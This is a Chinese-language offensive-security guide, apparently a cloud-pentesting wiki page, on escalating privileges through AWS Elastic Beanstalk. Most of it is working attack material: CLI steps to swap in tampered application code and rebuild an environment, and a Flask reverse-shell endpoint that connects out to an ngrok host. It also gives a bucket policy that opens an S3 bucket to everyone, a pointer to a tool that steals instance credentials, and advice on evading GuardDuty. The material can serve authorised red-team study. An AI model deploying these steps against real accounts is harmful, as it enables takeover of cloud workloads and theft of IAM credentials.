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AWS - Elastic Beanstalk Privesc

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Elastic Beanstalk

更多关于 Elastic Beanstalk 的信息：

为了在 Beanstalk 中执行敏感操作，您需要在许多不同的服务中拥有 大量敏感权限。您可以检查例如授予 arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk 的权限。

elasticbeanstalk:RebuildEnvironment、S3 写权限及其他

拥有 对包含环境代码的 S3 存储桶的写权限 和 重建 应用程序的权限（需要 elasticbeanstalk:RebuildEnvironment 以及与 S3、EC2 和 Cloudformation 相关的其他权限），您可以 修改 代码、重建 应用程序，下次访问应用程序时，它将 执行您的新代码，允许攻击者妥协应用程序及其 IAM 角色凭证。

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole，以及更多...

提到的权限加上几个 S3、EC2、cloudformation、autoscaling 和 elasticloadbalancing 权限是从头创建一个原始的 Elastic Beanstalk 场景所必需的。

  • 创建一个 AWS Elastic Beanstalk 应用程序：

aws elasticbeanstalk create-application --application-name MyApp
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

如果环境已经创建，并且你不想创建一个新的环境，你可以更新现有的环境。

  • 将你的应用程序代码和依赖项打包成一个ZIP文件：

zip -r MyApp.zip .

  • 将ZIP文件上传到S3桶：

aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip

  • 创建一个 AWS Elastic Beanstalk 应用程序版本：

aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"

  • 将应用程序版本部署到您的 AWS Elastic Beanstalk 环境：

aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, cloudformation:GetTemplate, cloudformation:DescribeStackResources, cloudformation:DescribeStackResource, autoscaling:DescribeAutoScalingGroups, autoscaling:SuspendProcesses, autoscaling:SuspendProcesses

首先，您需要创建一个合法的 Beanstalk 环境，其中包含您希望在受害者上运行的代码，按照之前的步骤进行操作。可能是一个简单的zip文件，包含这2个文件：

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

一旦你有了自己的 Beanstalk 环境运行你的 rev shell，是时候将其迁移到受害者环境。为此，你需要更新你的 beanstalk S3 存储桶的存储桶策略，以便受害者可以访问它（请注意，这将开放存储桶给所有人）：

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}
# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528

Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).

The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
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